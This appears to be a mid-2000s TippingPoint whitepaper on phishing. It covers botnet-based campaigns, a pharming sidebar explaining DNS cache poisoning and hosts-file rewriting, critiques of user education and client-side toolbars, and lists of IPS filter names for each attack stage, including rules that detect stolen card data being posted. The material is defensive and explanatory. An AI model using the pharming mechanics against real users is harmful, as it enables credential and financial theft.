In May of 2005, The Honeynet Project released a detailed analysis of a live phishing campaign which made use of distributed botnet technology. Their paper, at [http://www.honeynet.org/papers/phishing/](http://www.honeynet.org/papers/phishing/), describes the phishing infrastructure as lacking a central server for not only the spam generation, but also a distributed network of Web hosts. The end result is a more reliable phishing network of resources -- links are easily redirected
among several identical sites, phishing mail volume and speed can take advantage of parallel processing, and takedown efforts must be coordinated among several global ISPs.

The move to this distributed networking model was to be expected; thanks largely to the advent of the mass-mailer worm. The spam industry underwent a similar migration away from hacked or discovered open SMTP relays, and today, most spam originates from home broadband-connected PCs infected with worms such as SoBig or Klez.

What does this change mean for defenders? Existing methodologies involving the manual takedown efforts of individual IP addresses will rapidly become useless, as they are today with all but the most egregious spam SMTP gateways.

Recall that one of the most potent features of a phishing campaign is its heavy reliance on human behavior as opposed to technical advancement. A simple e-mail message advising a victim to “click here,” coupled with a simplified Web form, is difficult to cope with for most automated security devices.

However, if the phishing threat were to converge closely with existing spam and worm threats, proven anti-spam and anti-worm technologies can be brought to bear. In essence, technical countermeasures become increasingly effective against a technically advanced attacker. Instead of analyzing small blocks of plain text for fairly subtle clues that indicate a financial fraud scheme, a security device can instead focus on blocks of binary data in the form of common worm and Trojan delivery mechanisms.

Sidebar: Pharming

A particular subset of exploit-driven phishing activity is the practice of “pharming.” A somewhat murky term, pharming generally refers to a class of spoofing attacks whereby a victim’s normal name resolution infrastructure is subverted specifically for the purpose of capturing financial account information. These attacks have been well-documented and understood by both the IT security industry and unscrupulous click-through revenue generators, but when financial data is involved, it has become "phashionable" to “aphix” a “ph” to a common word and "phormulate" a new attack term.

There are two typical methods to conduct a pharming attack:

1. DNS cache poisoning, where a DNS server controlled by an attacker provides DNS answers to unasked questions. A client may want to resolve www.evilsite.com, and ns.evilsite.com provides an answer to both www.evilsite.com and www.paypal.com, and both answers are cached. Then, when a future user attempts to resolve www.paypal.com he instead retrieves the cached information.

2. Local hosts file poisoning, whereby a Trojan (typically in the form of spyware or other surreptitious downloader mechanism) rewrites a victim’s local hosts mapping file. In Windows, this is stored as %SYSTEMROOT%\system32\drivers\etc\hosts. Name queries, before they are sent to a DNS server, are first checked against this file -- so providing an attacker’s IP for a www.paypal.com will subvert a normal name lookup.

Pharming, generally, suffers a problem of scale -- in the first case, an attacker is limited to the population of DNS servers' vulnerable cache poisoning, and in the second, the attacker must convince or contrive for a victim to install software which can write to the local hosts file.
If the phisher is successful, though, the Web site can be very compelling, since the location bar will reflect the expected domain information. The phisher also need not compel his victims to click on a special link -- he can merely wait for a fraction of his victim set to conduct business normally.
Conclusions

There is no doubt that phishing, as a phenomenon, is both highly successful and generally difficult to detect and prevent in a reasonable amount of time. Today’s solutions tend to focus on two aspects of the attack. Regrettably, both strategies appear to be failing.

The Fallacy of User Education

Educating users is the first (and often last) line of defense available to network defenders. In mid-2005, it is practically impossible to watch a network news channel for more than ninety minutes and not hear about phishing. The online media coverage is just as pervasive. A Google news search on the topic returned:

Results 1 - 10 of about 2,340 for phishing. (0.22 seconds)
Sorted by relevance  Sort by date

With all this talk of phishing, why is it still successful? The answer partly lies in phishing’s greatest strength -- the threat of personal financial ruin is a remarkably potent motivator for bad behavior.

Furthermore, many of the large financial institutions on the Web were very quick to market the ease and convenience of online banking, but failed to educate users adequately to the dangers. Fear and danger are notoriously difficult marketing positions to take, after all.

The target population of phishing victims is a population that is unlikely to be responsive to training. Phishing e-mails are characterized by poor grammar and unusual spellings. If victims do not carefully read a message regarding the safety of their financial assets, they are unlikely to pay very much attention to an educational brochure (many of which are accompanied by sales pitches for “identity protection” products).

Finally, many financial institutions exacerbate the problem by training users to expect “phishy” behavior from their online interactions; the European reliance on pop-ups was cited above, but some legitimate bank mail is identical in structure and format to phishing e-mail:

This e-mail is to inform you that there is a message from customer service available in your Online Banking Mailbox. Please sign in to Online Banking to read your message.

The above was taken from an HTML e-mail in March of 2005. Strangely, it was not a phishing attempt. Note in this example that a) there is an obvious call to action, b) a large bank is identified in the TITLE parameter of the link, even though the actual link destination is entirely different, and c) the link provided contains redirection strings like “successURL=http%3A%2F%2F”.

In short, after a solid decade of spam, coupled with a hyperactive growth market of anti-virus and anti-spyware software solutions, it is somewhat naive to expect that the ideal phisher’s victim is going to suddenly “get it” and become resistant to phishing on his or her own.
The Fallacy of Client-Side Protection

As a corollary to the fallacy of user education, the pursuit of a client-side software application that can detect phishing and inform a user is largely a wasted effort. While some of the technologies offered at the time of this writing are interesting and promising (the Google and Netcraft toolbars come to mind), there is a fundamental problem with today’s offering: They are only installed by users who are already cognizant of the phishing problem. In other words, the kind of person who will go out of her way to install a special add-on to his browser to detect phishing is already looking at all incoming e-mail with suspicion. Unlike spam, which is an annoyance due to sheer volume, phishing is relatively easily avoided by simply deleting the incoming messages.

A further argument against browser plug-in is a simple measurement of the effectiveness of the SSL lock. Virtually all phishing Web sites are sent over HTTP. Very few bother to hide this fact, and the SSL lock is “obviously” open. The SSL lock is, in fact, shipped with every browser, and does not even need to be activated separately. Yet, the very protection SSL was designed to provide -- authentication of an Internet-based Web server -- is largely ignored by the phishing victim pool.

It is possible that a future version of Outlook Express or Internet Explorer⁴ will incorporate a strong, onboard anti-phishing strategy, which is activated by default, intuitive enough for casual users to understand, and not easily ignored during moments of panic. At that point, a client-side solution may be useful. However, today it is clear that the best place for combating the phishing threat is in the network.

---

⁴ Or some other client software that commands upwards of 80% of the desktop market.
TippingPoint’s Phishing Protection

Given the observed failures in user education and add-on client software, and the fact that the majority of phishing campaigns do not interact directly with the security apparatus of the financial sector, the only viable strategy for combating phishing is at network gateways, either at the ISPs (such as home broadband providers) or the gateways of large corporate networks.

In the above illustration, the phisher’s mail and Web servers are depicted as the same device. This is intentional, since this is often the case with today’s phishing toolkits, although the landscape is beginning to shift towards a distributed network for both functions.

There are five logical transaction phases, or points along the “phishing path,” where in-line defensive measures are the most useful and effective.

Initial Web Site Compromise

Phishers require a steady stream of new phishing sites to launch campaigns. Intrusion Prevention Systems are designed to detect and prevent general compromises, but only TippingPoint has extended this capability to specifically protect against Phishing.

A sampling of TippingPoint’s filters closely associated with defending Web servers against the phisher’s initial compromise attempts include:

3612: HTTP: Cacti PHP Remote File Include Exploit (*)
3493: HTTP: ModernBill PHP Inclusion Exploit (*)
Mass Phishing E-mail
Once on a freshly compromised host, the next stage of the phishing campaign begins. The phisher uploads his mass-mailer of choice, along with a pre-written HTML e-mail body and address list. The mass mailer is designed to deliver messages at a reasonable speed while at the same time disguising the message from most common spam-detection methods.

TippingPoint offers protection at this stage with the following filters:

- 3616: SMTP: Phishmailer Produced E-Mail
- 3286: SMTP: Ebay/Paypal Obfuscated Phish Link E-Mail
- 3285: SMTP: Obfuscated HTTP Form in E-mail
- 3245: SMTP: Suspicious Host Header Redirection in URL
- 2545: SMTP: IE Site Spoofing Malicious Unescape
- 2543: SMTP: IE Site Spoofing Malicious Link

Victim Clicks on Misleading URL
This stage of the attack is largely outside the phisher’s control. The attack is wholly reliant on the veracity of his crafted e-mail and a lack of phishing awareness of his chosen victim pool.

Because phishers tend to recycle the same campaign over and over again, certain patterns have surfaced in the structure of the victim’s first exposure to a given phishing site.

- 3236: HTTP: Malformed Localhost Host Header Redirection (*)
- 3243: HTTP: Localhost Host Header in HTTP Request

Phish Web Site is Viewed
At this point, the victim has been convinced, however briefly, of the phish e-mail’s authenticity, has clicked the provided link, and is now loading the phisher’s forged Web page. It is at this point the victim is most vulnerable -- he is unlikely to check for the presence of SSL-backed authentication of his (purported) financial institution’s server or notice slower-than-usual load times.

TippingPoint’s filters for this stage of the campaign are:

- 3381: HTTP: AOL Billing Login Phish Site (*)
- 3353: HTTP: PayPal Login Phish Site (*)
- 3351: HTTP: Regions Bank Login Phish Site (*)
- 3314: HTTP: Obfuscated Scripts - Spyware/Phishing Attack
- 3152: HTTP: Status Bar URL Spoof
- 3150: HTTP: Location Bar URL Spoof
- 3148: HTTP: Citibank Reset Password Phish Site (*)
- 3142: HTTP: Citibank Login Phish Site (Forged Verisign Seal) (*)
It is interesting to note that this stage is the highest value stage for not only the attacker, but the defender as well. If these events indicate the user is within the IPS-controlled environment, network administrators are alerted as to which specific users (based on IP address) are in need of anti-fraud education. If the victim is outside of the network, but the Web site is within, the network administrator is alerted to the presence of an unwelcome phishing operation, and may remediate appropriately.

**Victim Submits Account Information**
At the final stage of the attack, the victim is poised to submit his information to the phisher -- usually account information, such as a credit card, CV2 verification number, and ATM PIN.

TippingPoint offers a number of relevant filters designed specifically to prevent this HTTP POST from reaching the attacker:

- 3388: HTTP: Credit Card Data Posted to Phishing Web Site
- 3389: HTTP: Credit Card Data Posted to Phishing Web Site (Alt. Port)

Like filters for the previous stage, these events are extremely high value, since they prevent the “bad behavior” from happening at the last possible moment, and identify the highest risk victims and the IP address of an active phishing site.